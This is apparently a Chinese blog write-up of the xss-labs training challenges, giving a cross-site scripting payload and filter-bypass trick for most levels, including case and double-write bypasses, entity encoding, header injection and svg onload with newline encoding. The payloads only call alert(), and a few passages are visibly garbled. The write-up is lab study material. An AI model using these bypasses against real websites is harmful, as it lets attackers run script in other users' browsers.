xss

xsslabs

参考链接:https://blog.csdn.net/ytdd66/article/details/136946635

参考链接:https://blog.csdn.net/ytdd66/article/details/136946635

level-1—–无过滤

1
无过滤直接:<script>alert(123);</script>

level-2——闭合标签

1
闭合标签:"><script>alert(123);</script>

level-3—–单引号闭合+js

单引号闭合+js:可能会对 “ < > 编码(即过滤) 可以js:’onclick=’javascript:alert(123)’ ‘onfocus=’javascript:alert(123)’ ‘onblur=’javascript:alert(123)’ (去掉单引号就要加//或者>)——–被过滤就不可了 后面加 // > 也是可以的

level-4—–双引号闭合+js

双引号闭合+js: “onclick=javascript:alert(1)// “onclick=’javascript:alert(1)’

level-5 —–js伪协议

部分代码:

$str = strtolower($_GET[“keyword”]); $str2=str_replace(“<script”,”<scr_ipt”,$str); $str3=str_replace(“on”,”o_n”,$str2);

js伪协议:发现script和on都被替换, 这一关我们利用<a>标签绕过进行绕过。 "> <a href=javascript:alert(123)>xss</a>

level-6—–大小写绕过

大小写绕过: '"><a Href=javascript:alert(11)>aa</a>// "> <ScripT>alert(1)</ScRipT>

level-7—–双写绕过

1
2
3
4
5
6
7
8
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

$str2 变量通过 str_replace(“<script”,”<scr_ipt”,$str); 将字符串中的 <script 替换为 <scr_ipt,防止恶意脚本的注入。————其他的一样

href被替换成空,所以我们可以想到,使用双写进行绕过 "><scrscriptipt>alert(32);</scrscriptipt> '"><a HRhrefEF='javascrscriptipt:alert("jaden")'>jaden</a>

level-8—–编码绕过

发现内容输出在了a标签的href属性中,当我们测试的时候发现,javascript不仅加了_,并且使用了html实体编码,将特殊符号进行了编码,导致不能进行标签闭合,那么既然内容放到了某个标签的属性值里面,我们说过,属性值是可以进行编码绕过的,尝试html实体编码绕过。 javascript:alert(“jaden”) 编码:整个进行编码 采用十进制ascii码 javascript:alert(“jaden”) 或者十六进制unicode编码 javascript :alert(“ja den”)

level-9—–http协议校验(指定内容绕过)

发现,上面的这几种绕过方式都不行了,但是看到一个友情链接,写上一个正确的http网址可以看到输 出在了href属性中,也就是说,做了网址格式的校验,看后台代码发现其实就是http协议校验,那么我 们可以巧用js代码中的注释符号 // 。

javascript:alert(“jaden”)//http://www.baidu.com #但是前面的 javascript:alert(“jaden”)要进行编码,不然会被加上_

1
javascript:ale&` `#114;t("jaden")//http://www.baidu.c` `om` `javascript:alert()/* http:// */

本关小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可

level10—–get传参,隐藏的input标签可以插入type=”text”显示

1
2
3
4
5
6
7
8
9
10
11
12
13
$str = $_GET["keyword"];



$str11 = $_GET["t_sort"];



$str22=str_replace(">","",$str11);



$str33=str_replace("<","",$str22);

这两行代码对 $str11 变量进行字符串替换操作。首先,它移除了 $str11 中所有的 “>” 字符,然后将结果存储在 $str22 中。接着,它移除了 $str22 中所有的 “<” 字符,并将结果存储在 $str33 中首先,输出一个居中的 <h2> 标题,提示用户没有找到和 $str 相关的结果。这里使用htmlspecialchars() 函数来确保 $str 中的特殊字符被正确转义,接着,输出一个表单,其中包含了三个隐藏的输入字段:t_link、t_history 和 t_sort。前两个字段的值都被设置为空字符串,而第三个字段的值被设置为 $str33(即处理过的 $str11)

修改为text

payload:?t_sort=onfocus=javascript:alert() type=”text”

小结:根据源码猜解传参的参数名,隐藏的input标签可以插入type=”text”显示

level-11—–referer

<input>标签有四个值,都做了隐藏处理,不难看出,第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),我们先做个简单的测试来验证一下前面三个标签名,GET与POST传参都试一下看看(都不行那应该就referer头了,用burpsuite抓包一下,添加http头 Referer: “ sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j 对比发现,把大于小于号><给删掉了,但是我们还能用onfocus,构造一个http头: Referer: “ onfocus=javascript:alert() type=”text 本关小结:考虑一下http头传值,本关是referer,但接下来也有可能是其他头,如Cookie等

level-12—–User-Agent头

User-Agent: “ onfocus=javascript:alert() type=”text

level-13—–Cookie头

Cookie:” onclick=alert() type=”text

level-14—–Pass

level-15—–ng-include文件包涵,可以无视html实体化

ng-include 指令用于包含外部的 HTML 文件。 包含的内容将作为指定元素的子节点。——–ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号 ng-include 属性的值可以是一个表达式,返回一个文件名。 默认情况下,包含的文件需要包含在同一个域名下。

语法 < element ng-include= “filename” οnlοad= “expression” autoscroll= “expression” > < /element > ng-include 指令作为元素使用:

< ng-include src= “filename” οnlοad= “expression” autoscroll= “expression” > < /ng-include > 所有的 HTML 元素都支持该指令。

参数值 值: 描述 filename: 文件名,可以使用表达式来返回文件名。 onload: 可选, 文件载入后执行的表达式。 autoscroll: 可选,包含的部分是否在指定视图上可滚动。

原文链接:https://blog.csdn.net/u011127019/article/details/53666528/

开始做题: 1.我们先试试看包涵第一关,构建payload:?src=’/level1.php’

所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,构造payload ?src=” ‘ sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j

**2.**对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload :?src=’/level1.php?name=< img src=1 onmouseover=alert()>’ **3.**当鼠标移动到图片的时候就触发了弹窗

当然也能用p标签,可以构造payload:?src=’/level1.php?name=<p onmousedown=alert()>哈哈哈</p>‘ 点击哈哈哈即可弹窗,接下来我们看一下这关的后端源码

level-16—–回车代替空格绕过检测

1.test插入到了center标签中,所以这里就不用闭合了,老规矩,先测试一波关键字:?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j .Kht.m.1..….g...app>2 <head> 3

<body>span class=”ng-include:” ’sRc DaTa OnFocus <sCriPtgt; 6lt;a hReF=-javascript:alert()kgt ; “Xlspan(/body 18

**2.**对比发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,谁知道也将/给替换成了空格,无奈,只好看一下后端源码 $str2=str_replace("script" , " ",$str); $str3=str_replace(“ “, “ “ ,$str2); $str4=str_replace(“/“, “ “,$str3); $str5=str_replace(“ “, “ “ ,$str4); echo “<center>“.$str5.”</center>”;?>`

**3.**果然给过掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签,更多标签可参考XSS常见的触发标签

随便选个标签,将空格替换成回车的url编码,构造payload ?keyword=<svg%0Aonload=alert(1)>

level-17—–embed标签

<embed src=”xsf01.swf ?a=b” width=”100%” heigth=”100%”>

这个传入了两个值,分别作为src中的xsf01.swf的变量和值传入,观察一下发现这个embed 标签就是引入一个 swf 文件到浏览器端,并且它的 src 属性值没有添

加引号所以 不用闭合。

构造payload ‘ οnclick=alert()

level-18—–同17

level-19—–Pass

level-20—–Pass


xss
https://junske51.github.io/kele6.github.io/2024/04/15/xss/
Author
John Doe
Posted on
April 15, 2024
Licensed under